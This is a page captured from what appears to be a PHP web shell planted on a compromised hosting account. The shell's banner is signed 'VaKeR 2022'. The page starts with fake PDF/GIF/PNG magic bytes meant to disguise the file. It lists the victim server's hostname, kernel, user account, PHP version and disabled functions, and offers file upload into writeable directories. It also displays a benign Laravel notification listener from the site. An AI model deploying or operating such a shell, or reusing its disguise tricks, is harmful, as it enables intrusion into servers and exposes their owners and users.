%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/app/Listeners/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/app/Listeners/SubTaskCompletedListener.php
<?php

namespace App\Listeners;

use App\Events\SubTaskCompletedEvent;
use App\Notifications\SubTaskAssigneeAdded;
use App\Notifications\SubTaskCompleted;
use App\Notifications\SubTaskCreated;
use Illuminate\Support\Facades\Notification;

class SubTaskCompletedListener
{

    /**
     * Handle the event.
     *
     * @param SubTaskCompletedEvent $event
     * @return void
     */

    public function handle(SubTaskCompletedEvent $event)
    {
        if ($event->status == 'completed') {
            Notification::send($event->subTask->task->users, new SubTaskCompleted($event->subTask));
        }

        elseif ($event->status == 'created') {
            Notification::send($event->subTask->task->users, new SubTaskCreated($event->subTask));
        }

        if ($event->subTask->assigned_to && $event->subTask->isDirty('assigned_to')) {
            Notification::send($event->subTask->assignedTo, new SubTaskAssigneeAdded($event->subTask));
        }

    }

}

VaKeR 2022